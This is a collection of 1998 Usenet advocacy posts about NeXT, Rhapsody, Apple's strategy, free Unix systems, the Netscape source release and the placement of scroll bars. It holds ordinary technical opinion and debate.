Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 17:06:02 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu>
Xcanpos: shelf.01/199804140201!0031712465
In article <rmcassid-0104981001030001@dante.eng.uci.edu>, rmcassid@uci.edu wrote:
> *But* I would like a way to deliver
> scriptable content across a network and QT with embedded scripting would
> do this that IB-Lite + AS could not.
It could. It just wouldn't work in non-Yellow Box environments.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 17:08:53 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6fudtl$nr3$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <6ft27m$f9q$1@ns3.vrx.net>
Xcanpos: shelf.01/199804140201!0032133375
In article <6ft27m$f9q$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> What's really needed is IB-Lite + AppleScript.
You've discussed some of this before, but would you mind summarizing
your vision for "IB-Lite + AppleScript"?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 18:00:00 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ftvb0$71b$2@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fmtdo$qr7$1@quasar.dim <6ft27m$f9q$1@ns3.vrx.net> <6fudtl$nr3$1@crib.bevc.blacksburg.va.us>
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Xcanpos: shelf.01/199804140201!0043183640
In <6fudtl$nr3$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> You've discussed some of this before, but would you mind summarizing
> your vision for "IB-Lite + AppleScript"?
Sure.
HC consists primarily of two things, HyperTalk the scripting language, and
an interface builder tool that can run "live objects" frozen into files
called "stacks". The later portion pretty much is IB, but the former, and
the way it's integrated, is not there now.
So what you need is plugins for IB that let you *something*-click on
objects and up pops a text editor where you type in the AS code. Presto.
You'd need some way of associating scripts with individual objects (anyone
know how Joy does it), and you'd want some sort of reasonable editor too, but
there's really not that much to it that Joy hasn't done already.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 17:50:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ftuod$71b$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com>
<slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<slrn6i2mja.a5o.sal@panix3.panix.com> <rmcassid-3103981540370001@dante.eng.uci.edu>
<6ft27m$f9q$1@ns3.vrx.net> <rmcassid-0104981001030001@dante.eng.uci.edu>
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In <rmcassid-0104981001030001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> Any chance the Digital Technology (FaceSpan) guys are working on this?
Dunno, good question.
> This would be massively cool. *But* I would like a way to deliver
> scriptable content across a network and QT with embedded scripting would
> do this that IB-Lite + AS could not.
Sure, but I think the scripting in QT should be AS, not HC. Left hand
right hand thing it seems to me.
Maury
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 01 Apr 1998 14:21:19 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0104981421190001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>
Xcanpos: shelf.01/199804140601!0032475511
In article <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>In article <rmcassid-0104981001030001@dante.eng.uci.edu>,
rmcassid@uci.edu wrote:
>
>> *But* I would like a way to deliver
>> scriptable content across a network and QT with embedded scripting would
>> do this that IB-Lite + AS could not.
>
>It could. It just wouldn't work in non-Yellow Box environments.
Well, neither will QT as it turns out... But I don't really see IB-Lite
and AS handling interactive time-keyed multimedia streaming to my browser.
*That* is the goal. My description wasn't really that, well, descriptive.
-Bob Cassidy
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 2 Apr 1998 02:29:03 GMT
Organization: Indiana University, Bloomington
Message-ID: <6fut5f$115$1@jetsam.uits.indiana.edu>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>
In article <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>,
Nostromo <Nostromo@gte.net> wrote:
>On 01 Apr 1998 10:39:01 -0500, Barry Lustig <barry@gate.lustig.com> wrote:
>
>>
>>> : Joe Ragosta <joe.ragosta@dol.net> wrote:
>>> : >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
>>> : >(Jason V. Robertson~) wrote:
>>> : >
>>> : >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
>>> : >> Kevin Huber <khuber@yuck.net> wrote:
>>> : >> >When will NT be free?
>>> : >>
>>> : >> Uhh, when will Unix be free?
>>> : >
>>
>>FreeBSD (http://www.freebsd.org), NetBSD (http://www.netbsd.org),
>>OpenBSD (http://www.openbsd.org).
>
>you can also get free SCO unixware for personal use
>http://www.sco.com/offers/freeUW.html
And Linux from the usual sources.
I know, someone is bound to pipe up and say Linux isn't a Unix because it
doesn't have the right pedigree. But it looks like a Unix, walks like a
Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
free.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 31 Mar 1998 15:43:44 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-3103981543440001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <slrn6i2sbf.a5o.sal@panix3.panix.com>
Xcanpos: shelf.1/199804150601!0025483740
In article <slrn6i2sbf.a5o.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>7) OpenGL support. (Hardware accel support. )
Should show up in QT. Don't know about acceleration.
>8) TrueType fonts (Somone said there was freeware to do this, if anyone
> knows more please tell me)
Apple co-developed TT, so it should be a no-brainer. I seem to recall
hearing that support would be added...
>9) XML (IMHO, XML would be better for the online help than HTML.)
I agree. mailto://leadership.apple.com?
>10) Bundle IB with the OS so 3rd party dev tools can make use of it.
Hmm. That would take away a big incentive to buy Apple's, no?
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Wed, 01 Apr 1998 20:39:41 -0800
Message-ID: <see-below-0104982039420001@dynamic1.pm08.mv.best.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <uj23efzsd4e.fsf@bambi.visi.com> <6fpts2$cov@news.or.intel.com> <joe.ragosta-3103980821360001@wil33.dol.net> <6fr4cb$bdj@news.or.intel.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>
Xcanpos: shelf.01/199804141001!0009419353
In article
<6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>,
Nostromo@gte.net (Nostromo) wrote:
> On 01 Apr 1998 10:39:01 -0500, Barry Lustig <barry@gate.lustig.com> wrote:
>
> >> : >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
> >> : >(Jason V. Robertson~) wrote:
> >> : >
> >> : >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
> >> : >> Kevin Huber <khuber@yuck.net> wrote:
> >> : >> >When will NT be free?
> >> : >>
> >> : >> Uhh, when will Unix be free?
> >> : >
> >
> >FreeBSD (http://www.freebsd.org), NetBSD (http://www.netbsd.org),
> >OpenBSD (http://www.openbsd.org).
>
> you can also get free SCO unixware for personal use
> http://www.sco.com/offers/freeUW.html
I guess we shouldn't forget Linux, either.
http://www.linux.org/
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Message-ID: <3520F43C.354CEC0B@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
References: <351FC022.671D4C36@milestonerdl.com> <trev-3003981228020001@dial-17.r13.scsumt.infoave.net>
Content-Type: text/plain; charset=us-ascii
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Date: Tue, 31 Mar 1998 13:45:58 GMT
NNTP-Posting-Date: Tue, 31 Mar 1998 08:45:58 EST
Trevor Zion Bauknight wrote:
>
> It was not rejected by the markets NeXT apparently was aiming at with
> those prices. NeXT clearly was not able to mass-market its fine OS, and
> so it successfully marketed it with a narrow focus on those types of
> organizations which demanded the things it offered. The NSA and Wall
> Street are prime examples of such markets...Apple gives NeXT technology a
> different kind of life, one that is interesting to millions of people,
> instead of simply thousands, and it remains to be seen what that market
> will make of it. If the anticipation is any indication, chances are it
> will not be "rejected."
I don't know what you mean by "Apple gives NeXT tech a different kind of
life." Apple is now *NeXT* in everything but name. Jobs has pulled in
his people from everywhere to key and numerous positions in the company.
The NeXT-ization of Apple is now entering its final stages.
So I think that questions relating to the complete commercial failure of
NeXT--run by the same corporate officers and programmers who now run
Apple--are completely legitimate and derserving of some intelligent
analysis.
At the time Apple purchased NeXT, NeXT couldn't even pay its outstanding
debts--Apple had to pay them--all $30M to $50M of those debts. NeXT
didn't even have the financial liquidity or assets to pay even that
relatively small amount of debt it had incurred. By all accounts, Jobs
was literally running the company out of his pocket. The company had
*no* future until Apple came along, and the people Steve Jobs decrys as
"bozos" literally bailed him and his company out of inevitable collapse
and stark obscurity. NeXT was a commercial failure on both the hardware
and software ends. While you may like some of the NeXT tech and while
some of it is well-received by some people, the fact remains that
commercially it was a failure.
Now, the same people who drove NeXT into obscurity and and financial
impotence are running Apple computer. You seem to see much in the name
change. Personally, I don't think that merely changing NeXT's name to
"Apple" is an inherent guarantor of brilliant success, so I have to
disagree with you. The "bozos" that used to run Apple are gone, and the
"bozos" that used to run NeXT are in charge instead. Whoopee.
Sadly, Steve Jobs is capitalizing on Apple's long history of paranoia.
Since Jobs removed Microsoft as Apple's arch-enemy and "the only thing
standing in the way of complete Apple domination," we've seen him
institute at least *three* new enemies during the last six months for
Apple to "struggle" against. First there were the "evil cloners," then
there was Dell Computer and Michael Dell, and now it's Intel and the
Pentium.
I'm immune to that sort of drivel (thankfully), but it's amazing how
many aren't. How long can Jobs milk the Apple faithful so that Apple can
at least show a token profit? How many more expenses can Jobs cut for
the same purpose?
Eventually, all of this will cease to be effective for anything more
than party jokes. Jobs will be right back where he started: Apple
computer has to *grow* to survive--it will not do any better as a niche
player than NeXT did.
From: Michael Branton <mbranton@stetson.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: Wed, 01 Apr 1998 23:18:17 -0500
Organization: Stetson University
Message-ID: <35231189.6394@stetson.edu>
References: <35215529.2E181E25@slip.net> <6ft2b6$f9q$2@ns3.vrx.net>
Mime-Version: 1.0
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Xcanpos: shelf.01/199804141001!0018788937
Maury Markowitz wrote:
>
> In <35215529.2E181E25@slip.net> Sivan Mozes claimed:
> > I understand the interface bulider is a great idea. But doen't VB do the
> same
> > thing on Windows?
>
> Nope. IB talks to the "basic" foundation classes, VB talks to, well, VB.
>
> Maury
not to mention you have to write your code, in, uh..., VB.
--
michael
From: 00093182@bigred.unl.edu (Josh Hesse)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 08:06:26 GMT
Organization: CANeM///Cabal Academic Network Monitoring///[tinc]
Message-ID: <6fvgu2$76q@crcnis3.unl.edu>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net>
Xcanpos: shelf.01/199804141401!0001536904
Michael J. Peck (mjpeck@nstar.net) wrote:
:
: By the way, you're going to fix the left-handed scrollers? You're going
Why?
The first time I booted Nextstep, I was floored. At first glance,
everything _seemed_ out of place.
After a couple days, everything made sense.
Face it Mike, right-hand scrollbars suck.
-Josh
--
Do not send mail to this account. Really.
"Talk about silly conspiracy theories..." -Wayne Schlitt in unl.general
This post (C)1998, Josh Hesse. Quoted material is (C) of the person quoted.
|ess|erb|unl|u| (Oo) MYTHOS How's my posting? 1-800-DEV-NULL
email: jh|e@h|ie.|.ed| /||\ NEW AEON .Sigfile freshness date: 3/6/98
"Nazi Nazi Nazi!" -James Driscoll, aka <spaceman02@sprynet.com>
From: Timothy Luoma <nospam+yes-this-is-a-valid-address@luomat.peak.org>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.newton.misc
Subject: Re: accuracy of Stepwise Krishna article
Date: Wed, 1 Apr 1998 10:21:36 -0500
Organization: @Home Network
Message-ID: <Pine.NXT.3.96.980401101816.16312J-100000@luomat>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6fg4o9$ke4$1@ns3.vrx.net> <6fgqd6$6l5$1@crib.bevc.blacksburg.va.us> <6fh1i8$t5t$2@news.xmission.com> <6fj0gd$8j9$1@crib.bevc.blacksburg.va.us> <6fp94c$of2$1@news.xmission.com> <35203B88.18F42221@milestonerdl.com> <6fr5ve$iq0$1@anvil.BLaCKSMITH.com>
Mime-Version: 1.0
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In-Reply-To: <6fr5ve$iq0$1@anvil.BLaCKSMITH.com>
Xcanpos: shelf.01/199804131801!0035019953
On 31 Mar 1998, Charles Swiger wrote:
> have you talked to Apple about letting the Newton source become available
> (even under some sort of licensing), so interested parties could continue to
> work on and improve the software?
CNet (www.news.com) had a story about a group of Newtonites who had
gathered together for a "Let My Newton Go" rally @ Apple.com, to do just
what you mention here: if you don't want Newton, give/sell it to someone
who will make a go at it!
I remember when my brother-in-law got one, he was very excited and it was
extremely cool.... The handling of Newton has gotten me (longtime NeXT
fanatic) very concerned about the future, but I'm still hopeful I'm
wrong...
TjL
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 08:23:44 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35234B10.24557EE7@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
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Xcanpos: shelf.01/199804141401!0006154203
Josh Hesse wrote:
> Why?
> The first time I booted Nextstep, I was floored. At first glance,
> everything _seemed_ out of place.
>
> After a couple days, everything made sense.
That's cool. I've sort of been waiting for an excuse to air some
opinions on this.
Here are some of the reasons I think the NeXT GUI looks good, and
(overlapping) some of the reasons I think many *other people* think it
looks good.
First, the 3D bevelling. If I had had exposure to NeXTstep back when
they were the first to do this, I imagine I would have liked it. It's
fairly restrained, much more so that Motif 1.0, and mostly tasteful. I
thought the 3D features in MacOS System 7 were nice, and although they
were much more sparse than NeXTstep, there's nothing really wrong with
the fake-3D stuff, and like I said, it would have impressed me more if
I'd seen it first.
Second, the Dock. Having a launcher would have been a nice thing back
when I wasn't used the command-line, and even when I had the Cube, I
found it pretty useful. Unfortunately, I never really understood the
magic of Fiend, so I don't appreciate what many people find to be the
more wonderful extensions of the Dock theme. Altogether, though, it's a
worthy part of the modern GUI lexicon.
Here are the two most significant things, in my opinion: hi-resolution
and fonts. First, the high resolution inherent to almost every
NEXT/OPENSTEP system is a real plus. I've always been a sucker for
high-resolution displays, and they serve NEXTSTEP well. For obvious
reasons, high-resolution displays make everything look 100% better, and
NEXTSTEP is no exception.
The fonts issue is equally important. Whenever you see X Windows
screenshots, they have this crappy italicized Helvetica bitmap on top of
all the windows, and it's usually in a low resolution, to make matters
worse. Even today, font issues plague X Windows, and things don't appear
to be getting better in a hurry. Granted, there is Freetype, which is
something of a godsend and a light-at-the-end-of-the-tunnel for
developers, but it's no panacea. NEXTSTEP's beautiful use of fonts is
one of the most important things that distinguishes its overall look and
feel from other systems in terms of general quality.
> Face it Mike, right-hand scrollbars suck.
:) You won't get me to face any such thing today, or any other day.
Right-hand scrollbars are as natural to me as my right-handed genetic
composition. I operate my power windows with my left hand because
they're on my left; I operate the radio with my right hand because it's
on my right. I mouse with my right hand, so I expect all control
contexts to be above or the right of my viewing area.
Give me a second mouse for my left hand and I'll accept left-handed
scrollbars. Not before then. Besides, I almost never use scrollbars,
anyway. Arrow keys, [ctrl]-arrow keys, Page Up/Page Down, and [ctrl]-l
are *much* more precise and efficient.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Netscape source is out (not a joke)
Date: 1 Apr 1998 08:46:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ftnfo$in9@nntp02.primenet.com>
Xcanpos: shelf.01/199804131801!0038458108
See www.mozilla.org for details.
Seperate source packages are available for Mac, UNIX, and Windows.
A pretty big Mac (96M Ram) is required for the build. Interestingly, it
is a Codewarror project.
John
From: Barry Lustig <barry@gate.lustig.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Date: 01 Apr 1998 10:39:01 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <ehg4da6wa.fsf_-_@gate.lustig.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <uj23efzsd4e.fsf@bambi.visi.com> <6fpts2$cov@news.or.intel.com> <joe.ragosta-3103980821360001@wil33.dol.net> <6fr4cb$bdj@news.or.intel.com> <6fr8s6$59j$1@interport.net>
Xcanpos: shelf.01/199804131801!0036885311
> : Joe Ragosta <joe.ragosta@dol.net> wrote:
> : >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
> : >(Jason V. Robertson~) wrote:
> : >
> : >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
> : >> Kevin Huber <khuber@yuck.net> wrote:
> : >> >When will NT be free?
> : >>
> : >> Uhh, when will Unix be free?
> : >
FreeBSD (http://www.freebsd.org), NetBSD (http://www.netbsd.org),
OpenBSD (http://www.openbsd.org).
barry
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 08:32:04 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35234D04.18B5F492@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
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Xcanpos: shelf.01/199804141401!0007725885
Josh Hesse wrote:
> Face it Mike, right-hand scrollbars suck.
Actually, I take my previous posting back. I just spent the last few
minutes pretending my scrollbars were left-handed again, and to be
honest, it's not impossible to get used to. I bet I could even prefer
it, given enough time and familiarity.
But you should understand that it's really a silly thing. Who cares
where they are, except based on what you're used to? When NEXTSTEP first
debuted, it was okay to put the damned things on the left, because it
was still okay to try new things out. But it's no longer possible to say
the same of *scrollbars*.
And what you'll never get me to admit is that left-handed scrollbars are
inherently *better*. Or that, for some crazy reason, right-hand
scrollers "suck".
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
From: no_spam_frank@ifi.unibas.ch
Message-ID: <3523595e.0@maser.urz.unibas.ch>
Date: 2 Apr 98 09:24:46 GMT
Xcanpos: shelf.01/199804141401!0014238145
00093182@bigred.unl.edu (Josh Hesse) wrote:
> Michael J. Peck (mjpeck@nstar.net) wrote:
> :
> : By the way, you're going to fix the left-handed scrollers?
You're going
>
> Why?
>
> The first time I booted Nextstep, I was floored. At first
glance,
> everything _seemed_ out of place.
>
> After a couple days, everything made sense.
>
> Face it Mike, right-hand scrollbars suck.
I too, wasn't too happy about that, but I just recently found a
very good reason for having them there ...
http://www.ifi.unibas.ch/Groups/Staff/frank/scrollers.html
As to Mike's other complaints, the way I see it is that he has his
own 'view' of a system (he even says so), and when he first worked
with NEXTSTEP, this view didn't fit in any way with the way
NEXTSTEP worked, os, of course, `nothing worked'.
I too, missed NetInfo's point at the beginning (having used Ultrix
for some time), but once I was assigned administrator and relized
how little time I needed with NetInfo as opose to the 'usuall' unix
environment, I whished all systems had NetInfo and DPS.
I now have to manage SOLARIS [2.6] - and (really, no joke) nothing
works ... (the blokes from SUN still havn't figured out all
solutions to the problems).
If someone without unix knowledge aproaches NEXTSTEP/OPENSTEP, then
almost everything will `just work', as I could prove when my
parents started using NEXTSTEP (after using SYSV with X windows).
-Robert
--
Institut fuer Informatik tel +41 (0)61 321 99 67
Universitaet Basel fax. +41 (0)61 321 99 15
Robert Frank
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT,MIME mail
ok)
CH-4056 Basel (remove any no_spam_ from my return
address)
Switzerland
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 1 Apr 1998 14:59:12 -0500
Organization: Interport Communications Corp.
Message-ID: <6fu6ag$3jr$1@interport.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu>
Xcanpos: shelf.01/199804140201!0005840481
Craig Kelley (ink@inconnu.isu.edu) wrote:
: Of course once it runs under NT, why would anyone need to buy an Apple
: machine?
I've worked almost exclusively with x86 machines . . . and I am
convinced that the PowerPC architecture is vastly superior.
If I could run a freely available unix on cheap, commodity PPC boxes,
I would do so without hesitation.
--
Ben
<Just Another System Administrator>
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: 2 Apr 1998 09:56:02 GMT
Organization: University of California at San Diego
Message-ID: <slrn6i6o5i.17n.mbkennel@lyapunov.ucsd.edu>
References: <351FC022.671D4C36@milestonerdl.com> <trev-3003981228020001@dial-17.r13.scsumt.infoave.net> <x767ks4um5.fsf@frobozz.unixperts.com>
:I'll become more convinced that Apple has what it takes to succeed
:when they first figure out whether they're a hardware company or a
:software company.
There are four kinds of profitable computer companies in the industry.
* workstation hardware companies selling advanced hardware and
writing their own operating software out of hardware profits
* Wintel clone assemblers
* Software companies selling vital "mission critical" or industry
specific software, e.g. Oracle or high-end engineering apps.
* Microsoft
Notice what is missing: companies selling general purpose operating systems
who are not Microsoft. It doesn't work. You can't even sell general
purpose development tools now.
:As it stands right now, they haven't even got that part figured out,
:which is why they all but killed the Mac clone market while at the
:same time they fumble about with operating systems (do you really
:think the core OS underneath Rhapsody will be as good as the Linux
:core? Do you really think it will be able to improve as rapidly?).
Yes. It's improving more rapidly. There is no API on Linux as good
as OpenSTep in either design or implementation. The Linux kernel is not as
well designed as Mach, though it is well adapted to the infinite hardware
variations of PC architecture computers.
:Most companies that don't have a clear direction ultimately fail. I
:don't see any reason to believe that Apple is any exception, and I see
:little evidence that they really know what they're doing or why.
:
:
:It used to be that I paid little attention to the Apple doomsayers,
:but Apple has been so schizophrenic for the past year that I have to
:conclude that they were probably right. Unless Apple figures things
:out, it's only a matter of time before they go under (Bill Gates
:notwithstanding, of course).
The answer is simple: there is room for more than one workstation company,
but there is not room for more than one Microsoft. Going software only
would be a disaster because it would have no product which is truly
essential to people and which has no direct Microsoft competition.
NeXT was more successful as a hardware company than a software company
selling OpenStep for Intel. It is a surprising conclusion, but the
distribution lock that Windows has in the PC clone world is astonishingly
hard to break. Combine this with driver hell and you see how hard it is
to sell alternate operating systems without being a hardware manufacturer.
{Even given the presence of totally *free* operating systems on PC's, they
have no visibility to the enormous majority of PC hardware companies and thus
remain confined to technically sophisticated and ambitious users.}
If you are going to be that, then why constrain yourself to the PC
architecture's flaws?
The predominant problem with the NeXT workstations was cost. It was
impossible to get the performance necessary for the operating system
of NEXTSTEP's capability cheap enough to be affordable to consumers.
They were competitive with technical workstations on price, but selling
to that market was hard because they didn't have binary compatible
even higher end really big iron and critical applications which are
necessary in that market.
Moore's law has made it so that even the cheapest Compaq now has enough
performance and RAM to run OpenStep well.
It's unfortunately the same story as the Lisp and Smalltalk machines. The
demands of the sfotware made the minimum price of those computers around
$40K or so in their day. DOS computers selling for $3K took over, and we
have to live with the remanants of that legacy even though the Smalltalk
and Lisp systems of yore could easily fit in PC's now, and they were
based on far more sophisticated concepts than today's operating systems.
Cheap hacks make a hell of a lot more money than Doing It Right.
Fortunately, once big exception is IP, where the Right technology was invented
well ahead of its time and fortunately has lasted and surpassed its
inferior rivals {e.g. all the proprietary PC networking crap}. I attribute
this success to persistent and farsighted government funding and
intervention.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
